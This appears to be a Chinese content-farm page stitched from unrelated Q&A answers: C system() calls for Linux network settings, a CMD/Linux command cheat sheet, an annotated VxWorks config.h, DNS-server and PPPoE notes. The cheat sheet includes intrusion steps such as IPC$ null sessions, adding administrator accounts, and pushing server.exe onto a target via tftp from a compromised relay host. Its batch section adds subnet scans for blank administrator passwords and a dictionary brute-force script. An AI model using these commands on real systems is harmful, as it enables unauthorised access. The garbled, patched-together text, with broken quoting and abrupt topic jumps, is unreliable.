c语言修改网络配置

写一个C语言程序: 能修改Linux 主机的IP、DHCP、DNS 等设置

可以调用system()函数。把linux系统命令拼成字符串,然后调用system去执行这个字符串就可以了。修改系统配置,需要root身份。

1、system函数:

原型:int system(const char * command);

功能:执行 dos(windows系统) 或 shell(Linux/Unix系统) 命令,参数字符串command为命令名;

说明:在windows系统中,system函数直接在控制台调用一个command命令。在Linux/Unix系统中,system函数会调用fork函数产生子进程,由子进程来执行command命令,命令执行完后随即返回原调用的进程;

头文件:stdlib.h;

返回值:命令执行成功返回0,执行失败返回-1。

2、例程:

#includestdio.h

#includestdlib.h

int main(){

    system(“del C:\\123.txt”);//在控制台中,执行命令del  C:\\123.txt,删除C盘目录下的123.txt文件

    return 0;

}

c语言修改网络配置

CMD常用的网络命令,比较实用的都有哪些?

net use $”\\ip\ipc$ ” ” /user:” ” 建立IPC空链接

net use $”\\ip\ipc$ “密码” /user:”用户名” 建立IPC非空链接

net use h: $”\\ip\c$ “密码” /user:”用户名” 直接登陆后映射对方C:到本地为H:

net use h: $”\\ip\c$ 登陆后映射对方C:到本地为H:

net use $”\\ip\ipc$ /del 删除IPC链接

net use h: /del 删除映射对方到本地的为H:的映射

net user 用户名 密码 /add 建立用户

net user guest /active:yes 激活guest用户

net user 查看有哪些用户

net user 帐户名 查看帐户的属性

net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数

net start 查看开启了哪些服务

net start 服务名 开启服务;(如:net start telnet, net start schedule)

net stop 服务名 停止某服务

net time \\目标ip 查看对方时间

net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息

net view 查看本地局域网内开启了哪些共享

net view \\ip 查看对方局域网内开启了哪些共享

net config 显示系统网络设置

net logoff 断开连接的共享

net pause 服务名 暂停某服务

net send ip “文本信息” 向对方发信息

net ver 局域网内正在使用的网络连接类型和信息

net share 查看本地开启的共享

net share ipc$ 开启ipc$共享

net share ipc$ /del 删除ipc$共享

net share c$ /del 删除C:共享

net user guest 12345 用guest用户登陆后用将密码改为12345

net password 密码 更改系统登陆密码

netstat -a 查看开启了哪些端口,常用netstat -an

netstat -n 查看端口的网络连接情况,常用netstat -an

netstat -v 查看正在进行的工作

netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)

netstat -s 查看正在使用的所有协议使用情况

nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写

tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。

ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。

ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)

ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息

tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

del -F 文件名加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)

move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖

fc one.txt two.txt 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,” “和” ” 是重定向命令

at id号 开启已注册的某个计划任务

at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止

at id号 /delete 停止某个已注册的计划任务

at 查看所有的计划任务

at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机

finger username @host 查看最近有哪些用户登陆

telnet ip 端口 远和登陆服务器,默认端口为23

open ip 连接到IP(属telnet登陆后的命令)

telnet 在本机上直接键入telnet 将进入本机的telnet

copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件

copy c:\srv.exe $”\\ip\admin$ 复制本地c:\srv.exe到对方的admin下

cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件

copy $\svv.exe”\\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:

xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件

tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送

tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机

ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)

route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface

arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息

start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令

mem 查看cpu使用情况

attrib 文件名(目录名) 查看某文件(目录)的属性

attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性

dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间

date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间

set 指定环境变量名称=要指派给变量的字符 设置环境变量

set 显示当前所有的环境变量

set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量

pause 暂停批处理程序,并显示出:请按任意键继续….

if 在批处理程序中执行条件处理(更多说明见if命令及变量)

goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)

call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)

for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)

echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置

echo 信息 在屏幕上显示出信息

echo 信息 pass.txt 将”信息”保存到pass.txt文件中

findstr “Hello” aa.txt 在aa.txt文件中寻找字符串hello

find 文件名 查找某文件

title 标题名字 更改CMD窗口标题名字

color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )

print 文件名 打印文本文件

ver 在DOS窗口下显示版本信息

winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)

format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS

md 目录名 创建目录

replace 源文件 要替换文件的目录 替换文件

ren 原文件名 新文件名 重命名文件名

tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称

type 文件名 显示文本文件的内容

more 文件名 逐屏显示输出文件

doskey 要锁定的命令=字符

doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=

taskmgr 调出任务管理器

chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误

tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口

exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe

path 路径\可执行文件的文件名 为可执行文件设置一个路径。

cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?

regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;

regedit /e 注册表文件名 导出注册表

cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。

cacls 文件名 查看文件的访问用户权限列表

REM 文本内容 在批处理文件中添加注解

netsh 查看或更改本地网络配置情况

IIS服务命令:

iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)

iisreset /start或stop 启动(停止)所有Internet服务

iisreset /restart 停止然后重新启动所有Internet服务

iisreset /status 显示所有Internet服务状态

iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动

iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机

iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务

iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。

FTP 命令: (后面有详细说明内容)

ftp的命令行格式为:

ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。

-d 使用调试方式。

-n 限制ftp的自动登录,即不使用.netrc文件。

-g 取消全局文件名。

help [命令] 或 ?[命令] 查看命令说明

bye 或 quit 终止主机FTP进程,并退出FTP管理方式.

pwd 列出当前远端主机目录

put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中

get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中

mget [remote-files] 从远端主机接收一批文件至本地主机

mput local-files 将本地主机中一批文件传送至远端主机

dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件

ascii 设定以ASCII方式传送文件(缺省值)

bin 或 image 设定以二进制方式传送文件

bell 每完成一次文件传送,报警提示

cdup 返回上一级目录

close 中断与远程服务器的ftp会话(与open对应)

open host[port] 建立指定ftp服务器连接,可指定连接端口

delete 删除远端主机中的文件

mdelete [remote-files] 删除一批文件

mkdir directory-name 在远端主机中建立目录

rename [from] [to] 改变远端主机中的文件名

rmdir directory-name 删除远端主机中的目录

status 显示当前FTP的状态

system 显示远端主机系统类型

user user-name [password] [account] 重新以别的用户名登录远端主机

open host [port] 重新建立一个新的连接

prompt 交互提示模式

macdef 定义宏命令

lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录

chmod 改变远端主机的文件权限

case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母

cd remote-dir 进入远程主机目录

cdup 进入远程主机目录的父目录

! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

MYSQL 命令:

mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。

(例:mysql -h110.110.110.110 -Uroot -P123456

注:u与root可以不用加空格,其它也一样)

exit 退出MYSQL

mysqladmin -u用户名 -p旧密码 password 新密码 修改密码

grant select on 数据库.* to 用户名@登录主机 identified by \”密码\”; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)

show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。

use mysql;

show tables; 显示库中的数据表

describe 表名; 显示数据表的结构

create database 库名; 建库

use 库名;

create table 表名 (字段设定列表); 建表

drop database 库名;

drop table 表名; 删库和删表

delete from 表名; 将表中记录清空

select * from 表名; 显示表中的记录

mysqldump –opt schoolschool.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb 是一个文本文件,文件名任取,打开看看你会有新发现。

win2003系统下新增命令(实用部份):

shutdown /参数 关闭或重启本地或远程主机。

参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。

例:shutdown /r /t 0 立即重启本地主机(无延时)

taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。

参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。

tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。

参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

Linux系统下基本命令: 要区分大小写

uname 显示版本信息(同win2K的 ver)

dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)

pwd 查询当前所在的目录位置

cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。

cat 文件名 查看文件内容

cat abc.txt 往abc.txt文件中写上内容。

more 文件名 以一页一页的方式显示一个文本文件。

cp 复制文件

mv 移动文件

rm 文件名 删除文件,rm -a 目录名删除目录及子目录

mkdir 目录名 建立目录

rmdir 删除子目录,目录内没有文档。

chmod 设定档案或目录的存取权限

grep 在档案中查找字符串

diff 档案文件比较

find 档案搜寻

date 现在的日期、时间

who 查询目前和你使用同一台机器的人以及Login时间地点

w 查询目前上机者的详细资料

whoami 查看自己的帐号名称

groups 查看某人的Group

passwd 更改密码

history 查看自己下过的命令

ps 显示进程状态

kill 停止某进程

gcc 黑客通常用它来编译C语言写的文件

su 权限转换为指定使用者

telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。

ftp ftp连接上某服务器(同win2K)

附:批处理命令与变量

1:for命令及变量 基本格式:

FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。

批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—% 9指输入的第2-9个值;例:net use $”\\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个”1″指起始值,第二个”1″指增长量,第三个”254″指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1}

command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加: 来隔开

command_parameters:为特定命令指定参数或命令行开关

IN (set):指在(set)中取值;DO command :指执行command

参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。

用法举例:

@echo off

echo 用法格式:test.bat *.*.* test.txt

for /L %%G in (1 1 254) do echo %1.%%G test.txt net use \\%1.%%G /user:administrator | find “命令成功完成” test.txt

存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位); 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有”命令成功完成”信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。

@echo off

echo 用法格式:ok.bat ip

FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200

存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

在linux下,怎么使用C语言编写程序自动修改网络参数?谢谢~!

你可以调用 系统 system函数,在程序里执行shell,如果想永久生效网路配置,示例如下 system(“echo DEVICE=eth0 /etc/sysconfig/network-scripts/ifcfg-eth0”);

system(“echo ONBOOT=yes /etc/sysconfig/network-scripts/ifcfg-eth0”);

system(“echo BOOTPROTO=static /etc/sysconfig/network-scripts/ifcfg-eth0”);

system(“echo IPADDR=192.168.10.10 /etc/sysconfig/network-scripts/ifcfg-eth0”);

system(“echo NETMASK=255.255.255.0 /etc/sysconfig/network-scripts/ifcfg-eth0”); system(“/sbin/service network restart”);

exit(0);忘了说了,记得包含stdlib.h这个头文件

在c语言中“config.h”是什么意思

config.h注解,比较长。

config.h

/*

This file contains the configuration parameters for the CPU evaluation board.

*/

#ifndef INCconfigh

#define INCconfigh

/* BSP version/revision identification, before configAll.h */

#define BSP_VER_1_2 1

#define BSP_VER_1_1 1

#define BSP_VERSION “1.2” /* A Tornado 2.0 BSP */

#define BSP_REV “/3” /* 0 for first revision */

#include “configAll.h” /* 这个文件定义了VxWorks所有的缺省设置 */

/*

* Define ONE of the following to specify the revision of the PPC405GP chip

* you are using. Undefine all others. sysModel() will return

* “Unknown processor” if the correct selection is not made.

*/

/*

* Default boot line

*/

/*

解释: 这一行对配置网络,连通Target Server及下载调试程序非常重要

DEFAULT_BOOT_LINE 的原意是为没有NVRAM的target设计的,这样用户就不需要在每次系统启动是手工输入这些参数了.

系统启动网络时xxxEndLoad()会解释这一行并按这一行的定义进行加载.

Emac(0,0) : 启动设备,可是是软盘,硬盘,PCMCIA卡等 其他的设备名称如:

fd为软盘,(0,0)表示第一个软驱,3.5寸盘.

dc则表示从DEC 21x4x 芯片启动,即系统有NVRAM存在,这种方式现在已不采用.

elpci表示启动设备为3COM EtherLink XL PCI网卡.

fei:Intel 82559 EtherExpress网卡.

ene: NE2000网卡

ELT: 3COM以太网卡

EEX: Intel网卡

ata: ATA/IDE 硬盘 …………

405GP: 主机名

vXworks 从主机加载的VxWorks文件

h=172.16.1.159 主机的IP地址

e=172.16.254.52 目标机的IP地址,若网络启动Target Server时,这个IP必须和主机上Target Server配置的Target IP地址一致,且设置Back End选项为wdbrpc

u=xxx 用户名,pw=xxx 密码: 若通过网络加载调试时,主机的Ftp服务器和目标机的用户名和密码必须相同

tn=vxTarget 目标机名称

*/

#define DEFAULT_BOOT_LINE \

“Emac(0,0)405GP:vxWorks h=”172″.16.1.159 e=”172”.16.254.52 \

u=”xxx” pw=”xxx” tn=”vxTarget””

/*

* 内存设置.

* 如果定义了LOCAL_MEM_AUTOSIZE则SDRAM的大小会在Boot时指定

*/

#undef LOCAL_MEM_AUTOSIZE /* 运行时内存大小 */

#define LOCAL_MEM_SIZE 0x02000000 /* 32MB 内存缺省 */

#define LOCAL_MEM_LOCAL_ADRS 0x00000000 /* 内存基地址为 0 */

#define USER_RESERVED_MEM 0 /* see sysMemTop() */

/*

* Define SDRAM_ECC_ENABLE to enable ECC if an ECC SDRAM DIMM is detected

* during SDRAM auto-configuration. If not defined, ECC will not be enabled

* if an ECC SDRAM DIMM is detected, and the DIMM will be used as a normal DIMM.

*/

#undef SDRAM_ECC_ENABLE

/* 解释: 这里主要设置系统的内存分配定义,若分配不当,则系统不能正常加载和运行.

ROM_TEXT_ADRS, ROM_SIZE, RAM_HIGH_ADRS, 和RAM_LOW_ADRS 在config.h和Makefile文件中都要定义,且必须要保持一致,这些地址的定义一定要参照VxWorks 加载执行过程,硬件手册,MMU和VxWorks的大小进行.主要原则是保证VxWorks image 在ROM和RAM中都要有一定的运行空间且高效运行,可参见 VxWorks BSP和启动过程.

*/

#define ROM_BASE_ADRS 0xfff80000 /* ROM的基地址 */

#define ROM_TEXT_ADRS (ROM_BASE_ADRS + 0x100) /* 程序指针和堆栈指针 */

#define ROM_WARM_ADRS (ROM_TEXT_ADRS+0x0004) /* 热启动入口地址 */

#define ROM_SIZE 0x0007f000 /* ROM大小 512KB */

#define RAM_LOW_ADRS 0x00010000 /* RAM 低地址运行 vxWorks */

#define RAM_HIGH_ADRS 0x00C00000 /* RAM 高地址存储 bootrom */

#define USER_RESERVED_MEM 0 /* 用户保留地址 */

/*

* Cache options 定义缓存

*/

#define INCLUDE_CACHE_SUPPORT

#define USER_D_CACHE_ENABLE

#define USER_I_CACHE_ENABLE

#undef USER_D_CACHE_MODE

#define USER_D_CACHE_MODE (CACHE_COPYBACK)

/*

* 405 timers (PIT, FIT, WDT) 可由外部时钟驱动或者CPU驱动

*/

#define TIMER_CLOCK_EXTERNAL

/*

* Optional timestamp support

*/

#undef INCLUDE_TIMESTAMP

/*

* Auxilliary Timer rates 定义辅助计时器频率

*/

#ifdef TIMER_CLOCK_EXTERNAL

#define AUX_CLK_RATE_MIN (EXT_TIMER_CLK_FREQ / (1 21) )

#define AUX_CLK_RATE_MAX (EXT_TIMER_CLK_FREQ / (1 9) )

#define AUX_CLK_RATE_DEFAULT (EXT_TIMER_CLK_FREQ / (1 17) )

#else

/* ZZZZZZZZZZZ todo put rates in for system clock derived timer clock */

#endif

/*

* Watchdog Timer rates

*/

#define WDT_RATE_MIN 1 /* minimum watchdog timer rate */

#define WDT_RATE_MAX 5000 /* maximum watchdog timer rate */

/* 实时时钟设置 */

#define INCLUDE_RTC

/* 去除不需要的网络驱动 */

#undef INCLUDE_EI

#undef INCLUDE_EX

#undef INCLUDE_ENP

#undef INCLUDE_LN

#undef INCLUDE_SM_NET

#undef INCLUDE_SM_SEQ_ADDR

/* #define for software floating point support */

#undef INCLUDE_SW_FP

/* 定义串口 Serial port configuration */

#define INCLUDE_SERIAL

/* PCI 设置,PCI configuration */

#define INCLUDE_PCI

#ifdef INCLUDE_PCI

/*

* Three programmable processor local memory address to PCI memory address

* mappings. If a region is enabled, PMMx_LOCAL_ADRS must be between

* PCI_MEMORY_START and PCI_MEMORY_END. If PMMx_PCI_HIGH_ADRS is non-zero in

* an enabled region, 64 bit dual cycle addresses will be generated on the

* PCI bus for this region.

*/

//定义PCI设备的初始化地址 参见 PCI设备(网卡)初始化代码分析

# define PMM0_LOCAL_ADRS PCI_MEMORY_START // 定义PCI空间起始地址

# define PMM0_PCI_LOW_ADRS 0x80000000 // 定义PCI空间低位地址

# define PMM0_PCI_HIGH_ADRS 0x00000000 // 定义PCI空间高位地址

# define PMM0_PCI_MASK_ATTRIB (PMM_MASK_512MB | PMM_ENABLE)

# define PMM1_LOCAL_ADRS PMM_UNUSED

# define PMM1_PCI_LOW_ADRS PMM_UNUSED

# define PMM1_PCI_HIGH_ADRS PMM_UNUSED

# define PMM1_PCI_MASK_ATTRIB PMM_UNUSED

# define PMM2_LOCAL_ADRS PMM_UNUSED

# define PMM2_PCI_LOW_ADRS PMM_UNUSED

# define PMM2_PCI_HIGH_ADRS PMM_UNUSED

# define PMM2_PCI_MASK_ATTRIB PMM_UNUSED

/*

* PCI memory address to processor local memory address mapping. If a region

* is enabled, PTMx_LOCAL_ADRS must be within the two Local memory / peripheral

* regions (0x00000000-0x7FFFFFFF, or 0F0000000-0xFFFFFFFF)

*/

# define PTM1_LOCAL_ADRS LOCAL_MEM_LOCAL_ADRS

# define PTM1_SIZE_ATTRIB PTM_SIZE_2GB | PTM_ENABLE

# define PTM2_LOCAL_ADRS PTM_UNUSED

# define PTM2_SIZE_ATTRIB PTM_UNUSED

#endif /* INCLUDE_PCI */

/*

* 如果支持网络,本地EMAC和PCI网卡,必须有一个被选取,两者都是END形式驱动

*/

#define INCLUDE_NETWORK /* 支持网络 */

#define INCLUDE_EMAC_NETWORK /* 405GP 本地 EMAC 网络 */

#undef INCLUDE_PCI_NETWORK /* PCI 网络 */

/*

* The board does not have the Ethernet MAC address of the EMAC stored

* in any sort of NVRAM. Modify the 12 digit string below to match the decal

* that is on your board.

*/

#ifdef INCLUDE_EMAC_NETWORK

#define DEFAULT_EMAC_HW_ADDR “xxxxxxxxxxxx” /* 网络硬件地址,即MAC地址 */

#endif

/*

* WDB 通过网络Enhanced Network Driver加载调试程序,若网络加载调试,必须定义此项

*/

#define WDB_COMM_TYPE WDB_COMM_SERIAL /*首先默认使用串口通信*/

#define WDB_TTY_CHANNEL 0 /*使用第一个串口

#ifdef INCLUDE_NETWORK

#define INCLUDE_END

#undef WDB_COMM_TYPE

#define WDB_COMM_TYPE WDB_COMM_END /* 定义网络通信, END 驱动 */

#else

#undef WDB_COMM_TYPE

#define WDB_COMM_TYPE WDB_COMM_SERIAL /* 定义串口通信,和PC机串口连接 */

#undef WDB_TTY_CHANNEL

#define WDB_TTY_CHANNEL 0 /* 串口1 */

#endif /* INCLUDE_NETWORK */

/*************** 此处定义一些杂项 */

#ifdef NUM_TTY

#undef NUM_TTY

#endif

#define NUM_TTY 2 /* 定义了两个串口终端,*/

#ifdef WDB_TTY_BAUD

#undef WDB_TTY_BAUD

#endif

#define WDB_TTY_BAUD 57600 /* 波特率设置 9600, 19200, 38400, 57600, 115200 */

#ifdef CONSOLE_BAUD_RATE

#undef CONSOLE_BAUD_RATE

#endif

#define CONSOLE_BAUD_RATE 57600

#undef INCLUDE_ENV_VARS /* unix compatable environment variables */

#undef INCLUDE_TIMEX /* timexLib for exec timing */

#undef INCLUDE_HW_FP

#undef INCLUDE_TFTP_CLIENT /* used by autoboot from ftp server*/

#define INCLUDE_SW_FP

#define INCLUDE_ELF

#define INCLUDE_NET_SHOW

#define INCLUDE_PING

#undef INCLUDE_DEMO /* only for vxWorks bsp test */

#define ETHERNET_ADR_SET /* only for bootrom used */

#define INCLUDE_USER_APPL /* Startup the user’s application in dos makefile project */

#undef PCIDEBUG

#ifdef INCLUDE_USER_APPL

#define USER_APPL_INIT _appEntry()

#endif

#endif /* INCconfigh */

#if defined(PRJ_BUILD)

#include “prjParams.h”

#endif

怎么样用出C语言写一个分析TCP/IP报文的程

socket编程写了一个简单的DNS服务器。

是这样实现的,用两台PC,一个做客户端,一个做服务器;

在服务器用socket监视53端口,recvfrom()函数负责接收DNS查询报文,将其存入事先写好的数据结构里;

因为DNS查询报文和应答报文的前部分字段格式都是一样的,只是修改了几个参数,然后重点把DNS应答报文后面的字段进行增添。

然后用sendto();函数发送就可以了。

在ie里面输入任意的网址,回车,就会触发客户端向服务器发出DNS查询报文,

此时你可以同时在服务器和客户端抓包,看收到的报文是否正确。

注意几点:

1、一定要熟悉报文结构,定义合适的结构体,将报文进行解析

2、一定要注意网络序和主机序的转换htonl(),htons(),ntohl(),ntohs()等

3、找个熟知端口,最好是你熟悉的协议,如ftp,http,dns等。

4、客户端要把DNS服务器配置为你的服务器ip。

如何用批处理或者c语言 创建pppoe拨号连接

打开桌面“网络”图标之后,鼠标右键点击“属性”。

点击网络属性之后,可以进入网络和共享中心。或者通过任务栏右下角打开“打开网络和共享中心”。

然后在网络和共享中心中,打开找到“设置新的连接或网络”。

弹出的设置连接或网络中,点击选择“连接到internet”第一项,然后下一步。

如当前有宽带连接就会提示信息(如桌面没有宽带连接图标,可直接把宽带连图标发送到桌面)。

如没有宽带拨号连接的话,可点击宽带(PPPOE)进行设置添加拨号连接。

点击之后,列出宽带连接拨号向导。

设置宽带拨号账号后,系统会自动连接宽带拨号服务商进行身份验证。

如新建好宽带连接后,打开网络和共享中心找到“更改适配器设置”。

打开之后能看到当前电脑主机的网卡连接,其中有一个宽带连接。

找到宽带连接后,鼠标右击选择“连接”即可进行连接,如之前没有设置密码,需要重新输入。

点击链接之后,进行ISP身份验。

本文来自投稿,不代表【】观点,发布者:【

本文地址: ,如若转载,请注明出处!

举报投诉邮箱:253000106@qq.com

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2024年3月25日 22:09:29
下一篇 2024年3月25日 22:16:41

相关推荐

  • c语言改写模式,c语言实现修改功能

    c语言程序修改? 1、这个程序有4个错误,我都加粗了,第一个是m没有赋初值,第二个是while表达式中的ch=getchar()需要括号括起来,第三个是m=m*10+ch-0中的0也需要用单引号括起来,第四个是第2个while中为m!=0。 2、define容易造成误会,因为不符合一般的编程习惯,false 0, true 1;scanf放在你的那个地方是达…

    2024年5月23日
    3900
  • c语言控制代码的换码序列,c语言交换代码

    求C语言编程大神解答一下下面这个编程代码? k==5,用5去除125余0,所以r=125%5中r为0。由于!0为1,所以执行while循环体:先打印出5(k的值),再n=n/k==125/5=25;由于251则再打印出*号。这一循环结果输出是5*。 下面是我的代码,三个函数分别对应三个问题。 在实现基本要求的前提下,拓展了可以从键盘输入的功能,以下为各题代码…

    2024年5月23日
    5600
  • 无法从网络安装linux,linux安装无法进入安装界面

    怎么装Linux系统 1、第一步:选择Linux发行版Linux系统由众多发行版组成,不过最常用的就是Ubuntu、Fedora和Debian等。它们各自拥有自己的特点和用途,因此在进行Linux安装之前,先应该选择一款适合自己需求的发行版。 2、linux系统安装方法如下:使用光驱或U盘或你下载的LinuxISO文件进行安装。直接skip就可以了。出现引导…

    2024年5月23日
    4600
  • 知识竞赛网络安全法,网络安全法知识竞赛题

    网络安全知识竞赛活动策划方案 1、网络安全主题活动方案1 活动宗旨 提高同学们的网络安全意识,在加强网络安全知识学习的同时,营造一种浓厚的学习氛围。较好地发挥学生的特长,丰富学生的课余生活和提高同学们学习计算机网络的热忱。 2、关于网络安全主题活动方案篇1 网络信息人人共享,网络安全人人有责。网民的网络安全意识和防护技能,关乎广大人民群众的切身利益,关乎国家…

    2024年5月23日
    6500
  • c语言扫描io脚状态,c语言端口扫描

